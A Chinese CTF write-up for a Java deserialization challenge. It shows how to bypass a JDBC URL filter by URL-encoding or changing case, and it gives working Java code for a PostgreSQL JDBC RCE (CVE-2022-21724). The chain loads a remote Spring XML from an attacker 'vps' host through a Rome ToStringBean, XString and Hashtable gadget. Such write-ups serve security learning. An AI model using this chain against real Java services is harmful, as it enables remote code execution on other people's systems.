主要是记录一下,另外还有 CodeQL
题目给了一个 jdbc 连接,总所周知,jdbc 连接 mysql 数据库是会有危险的,而这道题目里面尝试着把 mysql 连接的两个风险点给禁用掉了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 package com.example.ezjaba.security;public class JdbcUtils { private static final String JDBC_MYSQL_PROTOCOL = "jdbc:mysql" ; private static final String SENSITIVE_PARAM = "autoDeserialize=true" ; private static final String FILE_READ = "allowLoadLocalInfile=true" ; public static void filterJdbcUrl (String url) throws Exception { if (url.startsWith(JDBC_MYSQL_PROTOCOL)) { if (url.contains(SENSITIVE_PARAM) || url.contains(FILE_READ)) { throw new Exception ("那就这样吧,再连接就不太礼貌了" ); } } } }
但是这题有一位大佬的 wp 写着 url 编码就可以绕过对参数的检测
jdbc:mysql
用 urlencode
绕过就行了。autoDeserialize=true
和 allowLoadLocalInfile=true
直接大写就可以绕过了
而我比赛的时候找的是另一个利用,即 postgresql 此版本的漏洞,可以直接 RCE,参考: PostgreSQL JDBC Driver RCE&任意文件写入漏洞【CVE-2022-21724】
1 2 3 4 5 <dependency > <groupId > org.postgresql</groupId > <artifactId > postgresql</artifactId > <version > 42.3.1</version > </dependency >
然后写了这段代码,经过测试发现可以成功 RCE
1 2 3 4 5 6 7 8 9 10 11 12 13 14 public static void main (String[] args) { Database database = new Database (); database.setDatabase("postgresql" ); database.setHots("localhost" ); database.setUsername("root" ); String socketFactoryClass = "org.springframework.context.support.ClassPathXmlApplicationContext" ; String socketFactoryArg = "http://vps:5432/1.xml" ; database.setPassword("root&socketFactory=" +socketFactoryClass+"&socketFactoryArg=" +socketFactoryArg); database.getConnection(); }
接下来的问题是如何反序列化调用 database.getConnection()
,我们的目光可以转到依赖包 Rome:1.7.0 上面,没有禁用 ToStringBean,可以用!
1 2 3 4 5 6 7 8 9 10 11 12 Database database = new Database ();database.setDatabase("postgresql" ); database.setHots("localhost" ); database.setUsername("root" ); String socketFactoryClass = "org.springframework.context.support.ClassPathXmlApplicationContext" ;String socketFactoryArg = "http://vps:5432/1.xml" ;database.setPassword("root&socketFactory=" +socketFactoryClass+"&socketFactoryArg=" +socketFactoryArg); ToStringBean toStringBean = new ToStringBean (database.getClass(),database);toStringBean.toString();
之后的问题是,找到反序列化时调用任意类 toString 的点,这里使用 CodeQL 来进行检索
经过检索,发现了一个类 XString
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 public boolean equals (Object obj2) { if (null == obj2) return false ; else if (obj2 instanceof XNodeSet) return obj2.equals(this ); else if (obj2 instanceof XNumber) return obj2.equals(this ); else return str().equals(obj2.toString()); }
再测试一下,照样能够 RCE
1 2 3 4 ToStringBean toStringBean = new ToStringBean (database.getClass(),database);XString xString = new XString ("L1n" );xString.equals(toStringBean);
问题是如何调用到 equals,其实这个点在 CC 里面有过,但是学艺不精,比赛的时候没有成功利用出来,还是得向其他师傅学习学习,使用一个 HashMap 或者 HashTable 就好了
总结了一篇新文章,可以作为参考: 理解 Java 反序列化 HashMap HashTable HashSet 调用 equals
1 2 3 4 5 6 7 8 9 10 11 HashMap map1 = new HashMap ();HashMap map2 = new HashMap ();map1.put("yy" , xString); map1.put("zZ" , toStringBean); map2.put("zZ" , xString); map2.put("yy" , toStringBean); Hashtable table = new Hashtable ();table.put(map1, "1" ); table.put(map2, "2" ); serialize(table); unserialize("ser.bin" );